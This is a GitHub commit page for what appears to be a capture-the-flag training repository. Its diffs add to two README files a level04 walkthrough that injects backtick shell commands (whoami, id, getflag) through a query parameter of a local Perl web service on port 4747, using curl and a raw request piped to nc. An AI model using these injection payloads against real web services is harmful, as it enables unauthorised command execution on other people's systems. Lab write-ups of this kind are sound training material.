Skip to content

Commit

Permalink
Merge branch 'main' of https://github.com/nuoxoxo/cfo into main
Browse files Browse the repository at this point in the history
  • Loading branch information
nuoxoxo committed Nov 19, 2024
2 parents bde528c + ef54efa commit 4aed62a
Show file tree
Hide file tree
Showing 2 changed files with 10 additions and 6 deletions.
8 changes: 5 additions & 3 deletions README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -359,12 +359,13 @@ Solution
- set the query payload and Perl will echo it

```b
> curl -I localhost:4747
or
> nc -vz localhost 4747
^ v: verbose
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`"
> curl localhost:4747/?x="\`/usr/bin/id\`"
Expand All @@ -373,14 +374,15 @@ Connection to localhost 4747 port [tcp/*] succeeded!
> curl localhost:4747/?x="\`/bin/df\`"
# avoid typing realpath out
# whereis or which : avoid typing realpath out
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
or
> curl localhost:4747/?x="\`$(which pwd)\`" 🟢
# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
or
> echo -e "GET /?x=\`$(which getflag)\` HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 4747
```


Expand Down
8 changes: 5 additions & 3 deletions level04/README.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -41,12 +41,13 @@ Solution
- set the query payload and Perl will echo it

```b
> curl -I localhost:4747
or
> nc -vz localhost 4747
^ v: verbose
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# eg.
> curl localhost:4747/?x="\`/usr/bin/whoami\`"
> curl localhost:4747/?x="\`/usr/bin/id\`"
Expand All @@ -55,12 +56,13 @@ Connection to localhost 4747 port [tcp/*] succeeded!
> curl localhost:4747/?x="\`/bin/df\`"
# avoid typing realpath out
# whereis or which : avoid typing realpath out
> curl localhost:4747/?x="\`$(whereis pwd|awk '{print $2}')\`"
or
> curl localhost:4747/?x="\`$(which pwd)\`" 🟢
# solve
> curl localhost:4747/?x="\`$(which getflag)\`"
or
> echo -e "GET /?x=\`$(which getflag)\` HTTP/1.1\r\nHost: localhost\r\n\r\n" | nc localhost 4747
```

0 comments on commit 4aed62a

Please sign in to comment.